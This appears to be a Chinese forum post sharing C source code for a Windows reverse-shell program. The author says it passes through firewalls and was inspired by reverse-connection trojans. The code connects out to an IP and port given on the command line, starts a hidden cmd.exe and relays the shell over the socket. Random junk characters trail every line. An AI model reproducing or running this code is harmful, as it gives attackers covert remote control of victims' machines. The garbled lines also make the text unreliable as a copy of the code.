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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 pTZPOv#?Q  
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/* ============================== (c(c MC'  
Rebound port in Windows NT ?PWD[mQE\  
By wind,2006/7 Ze~ a+%Sb  
===============================*/ T3['6%  
#include 3y>.1  
#include , j ,[4^  
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#pragma comment(lib,"wsock32.lib") }M f}gCEW  
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void OutputShell(); ?)Lktn9%  
SOCKET sClient; TJ`E/=J!  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; hC}A%_S  
^BjwPh4Z#  
void main(int argc,char **argv)  DVD}  
{ ~!]FF}6  
WSADATA stWsaData; :<%K6?'@^  
int nRet; mBc;^8I?23  
SOCKADDR_IN stSaiClient,stSaiServer; ,KkENp_  
wpY%"x#-+=  
if(argc != 3) .CI]8O"3y  
{ ~=%eOoZP;c  
printf("Useage:\n\rRebound DestIP DestPort\n"); uW4G!Kw28  
return; q=bJ9iJsq  
} _h_;nS.Y  
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WSAStartup(MAKEWORD(2,2),&stWsaData); T~Jl{(s9)  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [?W3XUJ,Y  
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stSaiClient.sin_family = AF_INET; Opmb   
stSaiClient.sin_port = htons(0); jL 8&  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  AO;+XP=  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .EH^1.|v  
{ {^9,Dy_D  
printf("Bind Socket Failed!\n"); PK3)M'[  
return; ci5ERv`  
} `(=)8>|e  
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stSaiServer.sin_family = AF_INET; dz5bW>  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); - J!F((jt  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]*juF[r(  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6,_CL M  
{ e kI1j%fO  
printf("Connect Error!"); `]WU=Ss  
return; wias ]u|  
} Pc? d@tm  
OutputShell(); |Uy hH^  
} (h/v"dV;  
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void OutputShell() -sO EL{  
{ ]9zc[_ !  
char szBuff[1024]; a>sUq["  
SECURITY_ATTRIBUTES stSecurityAttributes; `Lm ArW:  
OSVERSIONINFO stOsversionInfo; B_`A[0H  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; p(nC9NGB  
STARTUPINFO stStartupInfo; - K}@Gp  
char *szShell; ,0<|&D  
PROCESS_INFORMATION stProcessInformation; QEUg=*3W=  
unsigned long lBytesRead; } 5OlX  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +qpD>5#  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $g#X9/+<  
stSecurityAttributes.lpSecurityDescriptor = 0; .eZ4?|at.F  
stSecurityAttributes.bInheritHandle = TRUE; jc;&g)Rv  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); QwOQS %  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6JRee[  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); d^]wqnpf  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ow/ /#:  
stStartupInfo.wShowWindow = SW_HIDE; X@x: F|/P  
stStartupInfo.hStdInput = hReadPipe; plfz)x3  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; X~GZI*P  
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GetVersionEx(&stOsversionInfo); f=~@e#U  
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switch(stOsversionInfo.dwPlatformId) xZ`t~4qR  
{ zd#qBj]g  
case 1: 3p!R4f)GN  
szShell = "command.com"; _3A$z A  
break; $C#~c1w  
default: ^_5$+  
szShell = "cmd.exe"; -Rjn<bTIy  
break; ~ D3'-,n[  
} ]3 0 7 .  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9IMRWtZWT  
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send(sClient,szMsg,77,0); e;rs!I !Yw  
while(1) y*Ex5N~JC  
{ IA8kq =W  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )4GfT  
if(lBytesRead) E6)FYz7x  
{ Ku,Efr  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); wZfR>|f  
send(sClient,szBuff,lBytesRead,0); &lI.N~Ao  
} vGm;en   
else +/Y )s5@<  
{ zb9d{e   
lBytesRead=recv(sClient,szBuff,1024,0); 4 D\_[(P  
if(lBytesRead<=0) break; A|RAMO@le  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4 Iy\   
}  J|6aa  
} 6_zL#7E'  
`;cKN)Xk  
return; Qt>yRt  
}
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